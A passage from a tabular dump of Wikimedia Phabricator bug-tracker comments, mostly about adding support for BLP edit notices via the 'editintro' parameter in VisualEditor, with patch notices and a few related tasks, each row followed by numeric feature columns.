directly on the same page which I think what the new patch was for? 


QUOTE
QUOTE
QUOTE
QUOTE

Here is the screen capture of the issue. Also, it seems the URL on the address bar is different from what it shows when you hover over the Edit link:
{F37101586}

This is different from the special caseSCREEN_NAME mentioned here:

QUOTE
QUOTE
QUOTE
QUOTE

"
2132545,VisualEditor: Provide support for BLP edit notices on enwiki,"This should make the edit intros work.

There's one known issue: the edit intro message only appears the first time the editor is opened after loading/refreshing the page. (Afterwards editor initialization is done differently, and adding this feature without messing up the browser back/forward navigation proved difficult.) We should probably file a separate task about this.",,,1685471894,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,True,,,517,,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,6.0,7.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,6.0,0.0,1.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,4.6,0.8,"This should make the edit intros work.

There's one known issue: the edit intro message only appears the first time the editor is opened after loading/refreshing the page. (Afterwards editor initialization is done differently, and adding this feature without messing up the browser back/forward navigation proved difficult.) We should probably file a separate task about this."
2132476,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 923769 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] DesktopArticleTarget.init: Support '&editintro=…' in edit links%%%
https://gerrit.wikimedia.org/r/923769",,,1685467180,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,517,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,6.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.277777777777778,0.75,"Change 923769 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] DesktopArticleTarget.init: Support '&editintro=…' in edit links%%%
GERRIT_URL"
2131569,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 923769 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
%%%[mediawiki/extensions/VisualEditor@master] DesktopArticleTarget.init: Support '&editintro=…' in edit links%%%
https://gerrit.wikimedia.org/r/923769",,,1685320256,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,517,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,21.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,5.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,4.857142857142857,0.8095238095238095,"Change 923769 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
%%%[mediawiki/extensions/VisualEditor@master] DesktopArticleTarget.init: Support '&editintro=…' in edit links%%%
GERRIT_URL"
2109940,VisualEditor: Provide support for BLP edit notices on enwiki,"This already almost works. The API used by VE to fetch edit notices supports the 'editintro' parameter. In fact, if you follow this link, you'll see the notice: <https://en.wikipedia.org/w/index.php?title=Jasmin_Fejzić&veaction=edit&editintro=Template:BLP_editintro>. But if you just click ""Edit"" on the same page, you won't. This probably only needs a tiny bit of glue code to parse the parameters from the ""Edit"" link, like we're already parsing them from the URL.",,,1681952881,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,True,,,511,,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,2.0,1.0,6.0,0.0,2.0,0.0,1.0,0.0,8.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,13.0,2.0,1.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,13.0,6.0,0.0,7.0,0.0,7.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,3.4651162790697674,0.6976744186046512,"This already almost works. The API used by VE to fetch edit notices supports the 'editintro' parameter. In fact, if you follow this link, you'll see the notice: <URL But if you just click ""Edit"" on the same page, you won't. This probably only needs a tiny bit of glue code to parse the parameters from the ""Edit"" link, like we're already parsing them from the URL."
1118401,VisualEditor: Provide support for BLP edit notices on enwiki,"Just to make you know: in ruwiki, we adapted RockMFR's ""magic editintros"" to work with VisualEditor (although the resultant script is rather hackish), see https://ru.wikipedia.org/wiki/MediaWiki:Gadget-blpEditNotice.js.",,,1533665741,,PHID-USER-p6gpvwnc6ske65oxuoof,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,266,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,15.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,15.0,9.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0606060606060606,0.9090909090909091,"Just to make you know: in ruwiki, we adapted RockMFR's ""magic editintros"" to work with VisualEditor (although the resultant script is rather hackish), see URL"
1118382,VisualEditor: Provide support for BLP edit notices on enwiki,"Just to make you know: in ruwiki, we adapted RockMFR's ""magic editintros"" to work with VisualEditor (although the resuntant script is rather hackish), see https://ru.wikipedia.org/wiki/MediaWiki:Gadget-blpEditNotice.js.",,,1533665333,,PHID-USER-p6gpvwnc6ske65oxuoof,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,266,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,15.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,15.0,9.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0606060606060606,0.9090909090909091,"Just to make you know: in ruwiki, we adapted RockMFR's ""magic editintros"" to work with VisualEditor (although the resuntant script is rather hackish), see URL"
786448,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 329796 merged by jenkins-bot:
Add editintro to notices

[[https://gerrit.wikimedia.org/r/329796]]",,,1483474748,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,183,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.6842105263157894,0.8947368421052632,"Change 329796 merged by jenkins-bot:
Add editintro to notices

[[GERRIT_URL]]"
785359,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 329796 had a related patch set uploaded (by Esanders):
Add editintro to notices

[[https://gerrit.wikimedia.org/r/329796]]
",,,1483203828,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,182,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.7916666666666665,0.875,"Change 329796 had a related patch set uploaded (by Esanders):
Add editintro to notices

[[GERRIT_URL]]
"
479263,VisualEditor: Provide support for BLP edit notices on enwiki,I think it is better than editintro+JS yes.,,,1434999463,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,True,,,103,,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,22.0,22.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,1.0,I think it is better than editintro+JS yes.
479091,VisualEditor: Provide support for BLP edit notices on enwiki,"One way to fix this, as @Cenarium has observed, would be to fix {T85372} and switch wiki(?s) over to use that instead; is this the best option?",,,1434985888,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,True,,,103,,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,12.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.606060606060606,0.8484848484848485,"One way to fix this, asSCREEN_NAME has observed, would be to fix {T85372} and switch wiki(?s) over to use that instead; is this the best option?"
478588,VisualEditor: Provide support for BLP edit notices on enwiki,">>! In T56029#945042, @Cenarium wrote:
>
> Adding support in VE for preload / editintro is still worthy on its own, but it looks like this task is a duplicate of T51622.

Now Merging.",,,1434824530,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,102,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,56.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.6666666666666666,"QUOTE
QUOTE
QUOTE

Now Merging."
463736,VisualEditor: Provide support for BLP edit notices on enwiki,">>! In T56029#1098976, @Cenarium wrote:
> I've uploaded a patch for this (per-category editnotices) : [[https://gerrit.wikimedia.org/r/#/c/189178/|commit 189178]].

I've updated the patch, it works properly now.",,,1432586632,,PHID-USER-znn4xfvlp7e7mr2g3tvl,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,99,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,0.9333333333333333,"QUOTE
QUOTE

I've updated the patch, it works properly now."
422846,VisualEditor: Provide support for BLP edit notices on enwiki,I've uploaded a patch for this (per-category editnotices) : [[https://gerrit.wikimedia.org/r/#/c/189178/|commit 189178]].,,,1425821786,,PHID-USER-znn4xfvlp7e7mr2g3tvl,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,87,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,3.0952380952380953,0.9047619047619048,I've uploaded a patch for this (per-category editnotices) : [[URL 189178]].
393194,VisualEditor: Provide support for BLP edit notices on enwiki,">>! In T56029#800523, @TheDJ wrote:
> alternatively, get away from this specific implementation and try to move it into core as ""category based edit notices"" and VE gets the notice for free.

I've created a specific task for per category editnotices, T85372, I had already suggested it for the more general T20596 but this didn't get implemented. 
FYI, the English Wikipedia isn't the only wiki to use this.
Adding support in VE for preload / editintro is still worthy on its own, but it looks like this task is a duplicate of T51622.",,,1419691441,,PHID-USER-znn4xfvlp7e7mr2g3tvl,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,77,,0.0,0.0,0.0,0.0,3.0,6.0,4.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,3.0,0.0,6.0,12.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,6.0,4.0,16.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,6.0,12.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,3.844155844155844,0.7142857142857143,"QUOTE
QUOTE

I've created a specific task for per category editnotices, T85372, I had already suggested it for the more general T20596 but this didn't get implemented. 
FYI, the English Wikipedia isn't the only wiki to use this.
Adding support in VE for preload / editintro is still worthy on its own, but it looks like this task is a duplicate of T51622."
335180,VisualEditor: Provide support for BLP edit notices on enwiki,"alternatively, get away from this specific implementation and try to move it into core as ""category based edit notices"" and VE gets the notice for free.",,,1417508902,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,True,,,74,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,17.0,3.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.233333333333333,0.9333333333333333,"alternatively, get away from this specific implementation and try to move it into core as ""category based edit notices"" and VE gets the notice for free."
253858,VisualEditor: Provide support for BLP edit notices on enwiki,"To work as desired VE would need to respect the editintro= url parameter. For example
http://en.wikipedia.org/wiki/Paul_Bahn?veaction=edit&editintro=Template:BLP_editintro
and use that to fill in the edit notice with Template:BLP_editintro.
A couple of lines in MediaWiki:Common.js would add the parameters to URL's for all BLPs.",,,1378970400,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,10,,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,21.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,21.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.943396226415094,0.7735849056603774,"To work as desired VE would need to respect the editintro= url parameter. For example
URL
and use that to fill in the edit notice with Template:BLP_editintro.
A couple of lines in MediaWiki:Common.js would add the parameters to URL's for all BLPs."
253851,VisualEditor: Provide support for BLP edit notices on enwiki,Link for InputBox https://www.mediawiki.org/wiki/Extension:InputBox,,,1378969899,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,75.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Link for InputBox URL
56000,VisualEditor: Investigate where we can replace setTimeouts with EventSequencer,"For example, onBeforePaste/onAfterPaste in ve.ce.Surface

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1378834020,,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-wh766os42bllzvmszxya,task_description,open,True,c1,3,True,False,,10,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.607142857142857,0.6785714285714286,"For example, onBeforePaste/onAfterPaste in ve.ce.Surface

--------------------------
**Version**: unspecified
**Severity**: enhancement"
252283,VisualEditor: Investigate where we can replace setTimeouts with EventSequencer,"Thanks, looks like I hadn't properly updated my copy of VE to master. :P",,,1378839634,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-wh766os42bllzvmszxya,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,12.0,18.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,18.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4705882352941178,1.0,"Thanks, looks like I hadn't properly updated my copy of VE to master. :P"
252275,VisualEditor: Investigate where we can replace setTimeouts with EventSequencer,"(In reply to comment #1)
> Got a reference doc for EventSequencer?

https://doc.wikimedia.org/VisualEditor/master/#!/api/ve.EventSequencer",,,1378839518,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wh766os42bllzvmszxya,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5833333333333335,1.0,"(In reply to comment #1)
QUOTE

URL"
252269,VisualEditor: Investigate where we can replace setTimeouts with EventSequencer,Got a reference doc for EventSequencer?,,,1378839441,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-wh766os42bllzvmszxya,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,4.857142857142857,1.0,Got a reference doc for EventSequencer?
55974,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"<translate>…</translate> and the related <tvar>…</tvar> are currently un-parsed and shown as plain wikitext in VisualEditor because they're not recognised, per T50891; however, once that is fixed, the blocks won't be editable except as alien nodes (in wikitext), and won't be createable.

Making a proper VisualEditor plugin to translate these in-page as a rich editor shouldn't be particularly hard (he says…).",Medium,50.0,1378773120,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_description,open,True,c1,3,True,False,,10,,0.0,0.0,0.0,1.0,4.0,11.0,4.0,1.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,4.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,12.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,6.0,3.966292134831461,0.7078651685393258,"<translate>…</translate> and the related <tvar>…</tvar> are currently un-parsed and shown as plain wikitext in VisualEditor because they're not recognised, per T50891; however, once that is fixed, the blocks won't be editable except as alien nodes (in wikitext), and won't be createable.

Making a proper VisualEditor plugin to translate these in-page as a rich editor shouldn't be particularly hard (he says…)."
1956954,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),">>! In T55974#8091892, @Tacsipacsi wrote:
> I suppose this one, if we can call this a specification at all. I have the feeling that it was simply forgotten that translation syntax needs to be created, not only maintained…

